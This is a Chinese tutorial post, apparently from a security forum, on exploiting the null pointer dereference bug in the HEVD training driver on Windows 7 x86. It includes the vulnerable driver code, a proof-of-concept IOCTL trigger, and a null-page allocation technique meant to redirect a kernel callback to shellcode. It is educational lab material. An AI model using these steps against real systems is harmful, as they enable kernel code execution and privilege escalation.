[08] HEVD 内核漏洞之空指针解引用
2019-08-15 20:52:44 Author: bbs.pediy.com(查看原文) 阅读量:157 收藏

上一篇我们学习了任意内存覆盖漏洞,这一节开始学习空指针解引用(NullPointerDereference)。

前几天看的19-1132中也涉及到了这一漏洞,感兴趣的可以研究一哈。

tips:题外话,学海无涯呀,其实有时感觉是挺无聊的,继续坚持!

实验环境:Win10专业版+VMware Workstation 15 Pro+Win7 x86 sp1

实验工具:VS2015+Windbg+KmdManager+DbgViewer


打开驱动程序代码NullPointerDereference.c,看到漏洞函数代码如下:

NTSTATUS
TriggerNullPointerDereference(
    _In_ PVOID UserBuffer
)
{
    ULONG UserValue = 0;
    ULONG MagicValue = 0xBAD0B0B0;
    NTSTATUS Status = STATUS_SUCCESS;
    PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;
    PAGED_CODE();
    __try
    {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer, sizeof(NULL_POINTER_DEREFERENCE), (ULONG)__alignof(UCHAR));

        // Allocate Pool chunk
        NullPointerDereference = (PNULL_POINTER_DEREFERENCE)ExAllocatePoolWithTag(
            NonPagedPool,
            sizeof(NULL_POINTER_DEREFERENCE),
            (ULONG)POOL_TAG
        );

        if (!NullPointerDereference)
        {
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk\n");

            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else
        {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE));
            DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
        }

        // Get the value from user mode
        UserValue = *(PULONG)UserBuffer;

        DbgPrint("[+] UserValue: 0x%p\n", UserValue);
        DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);

        // Validate the magic value
        if (UserValue == MagicValue)
        {
            NullPointerDereference->Value = UserValue;
            NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;

            DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);
            DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);
        }
        else
        {
            DbgPrint("[+] Freeing NullPointerDereference Object\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);

            // Free the allocated Pool chunk
            ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);

            // Set to NULL to avoid dangling pointer
            NullPointerDereference = NULL;
        }

#ifdef SECURE
        // Secure Note: This is secure because the developer is checking if
        // 'NullPointerDereference' is not NULL before calling the callback function
        if (NullPointerDereference)
        {
            NullPointerDereference->Callback();
        }
#else
        DbgPrint("[+] Triggering Null Pointer Dereference\n");

        // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
        // because the developer is not validating if 'NullPointerDereference' is NULL
        // before calling the callback function
        NullPointerDereference->Callback();
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

代码中,有一处关于MagicValue的检查,通过则向缓冲区赋值,并打印;反之则释放缓冲区,清空指针。再往后,存在漏洞的版本中,未对NullPointerDereference进行检查判断其是否提前被置空,直接调用其内部的回调。

IDA中查看该函数:



如果我们调用了TriggerNullPointerDereference函数并传入该魔数,理论上会执行到该函数且不会触发空指针引用。使用下面的POC来进行测试。

利用之前的方法,我们得到IO控制码0x22202b。

#include<stdio.h>
#include<Windows.h>



int main()
{
	HANDLE hDevice = NULL;
	
	hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
		GENERIC_READ | GENERIC_WRITE,
		NULL,
		NULL,
		OPEN_EXISTING,
		NULL,
		NULL);
	if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
	{
		return -1;
	}
	printf("[+]Success to get HANDLE!\n");
	
	
	DWORD bReturn = 0;
	char buf[4] = { 0 };
	*(PDWORD32)(buf) = 0xBAD0B0B0;
	
	DeviceIoControl(hDevice, 0x22202b, buf, 4, NULL, 0, &bReturn, NULL);
	return 0;
}


验证了代码逻辑是正确的。

当我们传入值与MagicValue值不匹配时,则会触发漏洞。





例如我们传入0xdeadb33f,为了防止BSOD我们看不到数据,加上一个断点。

*(PDWORD32)(buf) = 0xdeadb33f;
DeviceIoControl(hDevice, 0x22202b, buf, 4, NULL, 0, &bReturn, NULL);
	_asm{
	int 3
	}

这里需要注意的是,如何在0页分配一个双字的空间。在rohitab的论坛中,提到了NtAllocateVirtualMemory可以在0页分配内存。

Windows允许低权限用户去映射用户进程的上下文到0页(null page)。尽管VirtualAlloc和VirtualAllocEx在分配的基地址低于0x00001000时都以拒绝访问而告终。然而,利用NtAllocateVirtualMemory函数则没有这样的限制。

Common.c代码中,我们看到MapNullPage函数也是这样的思路:

 hNtdll = GetModuleHandle("ntdll.dll");

    // Grab the address of NtAllocateVirtualMemory
    NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");

    if (!NtAllocateVirtualMemory) {
        DEBUG_ERROR("\t\t[-] Failed Resolving NtAllocateVirtualMemory: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    // Allocate the Virtual memory
    NtStatus = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF,
                                       &BaseAddress,
                                       0,
                                       &RegionSize,
                                       MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
                                       PAGE_EXECUTE_READWRITE);

申请成功后,将shellcode地址放入偏移四字节处,因为CallBack成员在结构体的0x4字节处。

typedef struct _NULL_POINTER_DEREFERENCE
{
    ULONG Value;
    FunctionPointer Callback;
} NULL_POINTER_DEREFERENCE, *PNULL_POINTER_DEREFERENCE;

[招聘]欢迎市场人员加入看雪学院团队!


文章来源: https://bbs.pediy.com/thread-253849.htm
如有侵权请联系:admin#unsafe.sh